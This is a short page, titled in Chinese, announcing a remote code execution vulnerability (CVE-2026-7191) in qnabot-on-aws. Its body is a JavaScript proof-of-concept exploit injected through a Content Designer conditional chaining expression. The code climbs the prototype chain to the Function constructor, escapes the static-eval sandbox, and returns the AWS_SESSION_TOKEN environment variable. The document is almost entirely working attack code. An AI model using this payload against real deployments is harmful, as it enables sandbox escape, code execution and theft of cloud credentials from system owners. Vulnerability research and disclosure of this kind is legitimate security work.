CVE-2026-7191 qnabot-on-aws远程代码执行漏洞

// Proof of Concept (PoC) for CVE-2026-7191 // Context: Injected via Content Designer conditional chaining expression // Mechanism: Prototype manipulation to escape static-eval sandbox (function() { // Attempt to access the global process or require through the prototype chain // This technique is commonly used to break out of JS sandboxes like static-eval // Access the Function constructor which allows creating new functions from strings var FunctionConstructor = ({}).constructor.constructor; // Define the malicious payload (e.g., reading environment variables) var exploit = FunctionConstructor( 'return process.env.AWS_SESSION_TOKEN || "Exploit Successful"' ); // Execute the payload return exploit(); })();